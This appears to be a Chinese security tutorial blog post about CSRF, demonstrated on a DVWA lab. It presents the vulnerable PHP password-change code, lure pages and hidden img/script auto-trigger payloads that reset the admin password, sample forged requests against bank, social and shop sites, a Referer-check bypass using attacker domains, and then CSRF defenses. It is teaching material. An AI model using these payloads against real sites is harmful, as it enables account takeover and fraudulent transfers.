news 2026/6/26 15:57:32

CSRF跨站请求伪造

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CSRF跨站请求伪造

漏洞原理

CSRF工作流程

1. 用户登录网站A,获得Cookie 2. 用户访问恶意网站B(未退出A) 3. 网站B构造请求发送到网站A 4. 浏览器自动携带Cookie 5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

页面功能:修改密码 请求方式:GET URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码

<?phpif(isset($_GET['password_new'])){$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];if($pass_new==$pass_conf){// 修改密码(无任何验证!)$query="UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn,$query);}}?>

漏洞点

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码

<!DOCTYPEhtml><html><head><title>您已中奖!</title></head><body><h1>恭喜您!</h1><p><b><astyle="background-color:red;padding:10px;color:white;"href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p></body></html>

攻击流程

1. 管理员登录DVWA(127.0.0.1) 2. 在同一浏览器打开攻击者网页 3. 点击"点击领取奖品"链接 4. 密码被修改为"hacked" 5. 管理员下次登录失败

自动化攻击

<!-- 用户打开页面就自动触发 --><imgsrc="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"style="display:none"><!-- 或使用JavaScript --><script>document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';</script>

实际危害场景

金融系统攻击

<!-- 转账请求 --><imgsrc="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击

<!-- 关注攻击者 --><imgsrc="http://social.com/follow?user=attacker"><!-- 发布广告内容 --><formaction="http://social.com/post"method="POST"><inputname="content"value="广告内容"></form><script>document.forms[0].submit();</script>

电商平台攻击

<!-- 修改收货地址 --><formaction="http://shop.com/address"method="POST"><inputname="address"value="攻击者地址"></form>

Medium级别绕过

防护代码

if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// 检查Referer头}

绕过方法

<!-- 在攻击者域名中包含目标域名 -->攻击者域名: 127.0.0.1.attacker.com 或创建子域名: 127-0-0-1.attacker.com

CSRF完整防护方案

1. Token验证(最重要)

// 生成Tokensession_start();$_SESSION['csrf_token']=bin2hex(random_bytes(32));// HTML表单<input type="hidden"name="csrf_token"value="<?php echo$_SESSION['csrf_token']; ?>">// 验证Tokenif($_POST['csrf_token']!==$_SESSION['csrf_token']){die('CSRF Token验证失败');}

2. SameSite Cookie

setcookie('session',$value,['samesite'=>'Strict',// 或'Lax''httponly'=>true,'secure'=>true]);

3. 验证Referer

$referer=$_SERVER['HTTP_REFERER']??'';if(strpos($referer,'https://yourdomain.com')!==0){die('非法请求来源');}

4. 二次确认

// 敏感操作要求输入当前密码if($_POST['current_password']!==$user_password){die('当前密码错误');}

5. 验证码

// 敏感操作添加验证码if(!verify_captcha($_POST['captcha'])){die('验证码错误');}

职业安全建议

网络安全职业现状

行业特点

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示

入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/20 1:25:28

5分钟部署DeepSeek-R1-Qwen-1.5B:小白也能玩转AI文本生成

5分钟部署DeepSeek-R1-Qwen-1.5B&#xff1a;小白也能玩转AI文本生成 1. 引言 1.1 为什么选择 DeepSeek-R1-Distill-Qwen-1.5B&#xff1f; 在当前大模型快速发展的背景下&#xff0c;如何在有限算力条件下实现高效推理成为开发者关注的核心问题。DeepSeek-R1-Distill-Qwen-…

作者头像 李华
网站建设 2026/6/18 16:58:03

Engine-Sim:打造真实发动机声效的终极开源方案

Engine-Sim&#xff1a;打造真实发动机声效的终极开源方案 【免费下载链接】engine-sim Combustion engine simulator that generates realistic audio. 项目地址: https://gitcode.com/gh_mirrors/en/engine-sim 你是否曾经梦想过亲手调试一台高性能发动机&#xff0c;…

作者头像 李华
网站建设 2026/6/23 7:58:56

Visual Studio彻底清理工具:解决开发环境残留问题的终极方案

Visual Studio彻底清理工具&#xff1a;解决开发环境残留问题的终极方案 【免费下载链接】VisualStudioUninstaller Visual Studio Uninstallation sometimes can be unreliable and often leave out a lot of unwanted artifacts. Visual Studio Uninstaller is designed to t…

作者头像 李华
网站建设 2026/6/19 22:40:16

TikTokDownload:抖音无水印批量下载工具完全指南

TikTokDownload&#xff1a;抖音无水印批量下载工具完全指南 【免费下载链接】TikTokDownload 抖音去水印批量下载用户主页作品、喜欢、收藏、图文、音频 项目地址: https://gitcode.com/gh_mirrors/ti/TikTokDownload 你是否经常遇到这样的困扰&#xff1a;看到精彩的抖…

作者头像 李华
网站建设 2026/6/11 21:14:30

企业级应用潜力:Heygem在客服场景的落地

企业级应用潜力&#xff1a;Heygem在客服场景的落地 随着人工智能技术的不断演进&#xff0c;数字人正从概念走向实际业务场景。尤其在客户服务领域&#xff0c;传统人工客服面临成本高、响应慢、服务质量不一致等问题&#xff0c;而自动化解决方案又常常缺乏“人性化”体验。…

作者头像 李华
网站建设 2026/6/9 3:46:36

如何快速掌握FanControl:Windows用户的风扇智能控制完整指南

如何快速掌握FanControl&#xff1a;Windows用户的风扇智能控制完整指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trend…

作者头像 李华